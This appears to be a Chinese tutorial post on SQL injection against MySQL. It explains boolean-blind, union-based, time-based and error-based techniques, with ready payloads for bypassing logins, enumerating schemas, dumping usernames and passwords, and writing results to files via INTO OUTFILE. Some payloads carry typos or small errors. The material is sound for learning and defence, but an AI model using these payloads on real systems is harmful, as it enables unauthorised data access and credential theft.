什么是 SQL 注入?展开目录

当客户端提交的数据未做处理或转义,直接带入数据库就造成了 SQL 注入

布尔注入展开目录

利用返回真假的效果做到 SQL 注入,比方说有下面一串代码

String sql = null;
sql = "select * from user where username = " + "'" + un + "'" + "and password = " + "'" + pwd + "'";

其中,un 和 pwd 都是 String 类型的变量,这是一个很明显的 SQL 注入漏洞,假设我令

String un = "admin' or 1 = 1 -- "
String pwd = 11//随便什么都可以

最终发送到数据库的语句就是

select * from user where username = 'admin' or 1 = 1 -- ' and password = '11'

这样的语句返回的结果就是数据库中的所有记录,因为对于所有记录,它都会判断 username 是否等于 admin 或者 1 是否等于 1,只要有任意一条满足条件,就会被查出来,后面加了两个 -,就将 password 查询给屏蔽(注释)了,使 password 约束不会产生影响。

获取数据库名长度展开目录
length(database()) > 1 #判断是否大于1,如果正确,就继续下去,直到错误
获取数据库名展开目录
ORD(mid(database(),1,1)) > 1
/*
这里涉及到两个函数
    ORD(String)将String转换成十进制值,然后可以通过百度查值得到该字符
    mid(String,a,b)将String从a开始向后截取b个字符
*/
获取表名的长度展开目录
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1
# 判断名为databse()数据库里第1个表的长度是否大于1,不停的判断,就能查到表的长度
# 这只是第一个表,要想获取第二个表,就将limit 0,1改为limit 1,1
获取表名展开目录
ORD(mid(TABLE_NAME,1,1)) > 1
获取表内字段个数展开目录
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp') > 1
# user是表名,jsp是数据库名
获取字段的长度展开目录
(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp' limit 0,1) > 1
# 同理修改limit后面的参数即可获取第二个、第三个....字段的长度
获取字段的名字展开目录
select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'jsp' limit 0,1),1,1)) > 1
# 爆每个字段从第1位开始的十进制值
获取内容的长度展开目录
select (select length(username) from user limit 0,1) > 1
# 已经查出第一个字段的名字是username,查username的第一个内容长度
获取内容的值展开目录
select ORD(mid((select username from user limit 0,1),1,1)) > 1
# 同样的,一个一个试,把值爆出来

联合注入展开目录

联合注入共分三步,首先判断数据库中字段数,接着利用 union 进行联合查询,暴露可查询的字段编号,最后根据得到的字段编号,查询暴露的字段值

union可合并两个或多个select语句的结果集,
前提是两个select必有相同列、且各列的数据类型也相同
一、检测字段数展开目录

检测字段数用的 sql 语句是

order by 2//数字任意

根据页面返回的结果,来判断站点中的字段数目
比方说有一个网站 http://127.0.0.1/onews.asp?id=45,在后面添加语句 order by 3,页面显示正常,改为 order by 4,页面报错,所以该站字段个数为 3

二、暴露可查询的字段编号展开目录
select * from user where id = -1 union select 1,2,3

使 union 前面语句出错,从而执行后面的,看页面爆出什么数字
通过这个方法还可以查询数据库的其他信息,比方所爆出数据库的名字

select * from user where id = -1 union select 1,database(),3
附加:汇总常用函数展开目录
version() -- 获取mysql版本号

user() -- 返回当前用户名

select count(*) from mysql.user -- 返回用户数量

select count(*) from information_schema.schemata -- 返回数据库数量

database() -- 返回数据库名

select table_name from information_schema.tables where table_schema=’Database_Name’ limit 0,1 -- 获取第一个表名

select column_name from information_schema.columns where table_schema=’Database_Name’ and TABLE_NAME=’TABLE_NAME’ limit 0,1 -- 获取第一个字段名
三、暴露字段值展开目录

假设上面通过查询字段编号,得到 2,3,说明用户名和密码就在 2,3 列,就可以开始爆用户名密码

select * from user union select 1,username,password from user
附加:拿 shell展开目录

拿 shell 其实更直白的话叫导出数据库,配合联合注入使用,很简单一句话

select * from user union select 1,user(),3 into outfile 'D:/1.txt'

延时注入展开目录

延时注入通常用于对时间敏感的 sql 语句,通过执行时间的长短来判断是否执行成功

select * from user where 1 = 1 and sleep (if((select count(SCHEMA_NAME) from information_SCHEMA.SCHEMATA) = 1,0,2 ))

上面语句代码的含义是,如果整个 mysql 中数据库的个数等于 1,则延时 0 秒,否则延时 2 秒进行查询

BUG 注入展开目录

BUG 注入实际上是利用数据库语句之间的冲突,弹出 BUG,搜集 BUG 中对我们有用的信息。只要是 count(),rand,group by 三个连用就会造成报错

select concat((floor(rand(0))*2),'--------',(select database())) x from user group by x
#输出:0--------jsp,这样就爆出了数据库的名字,同理还可以利用BUG注入获取其他信息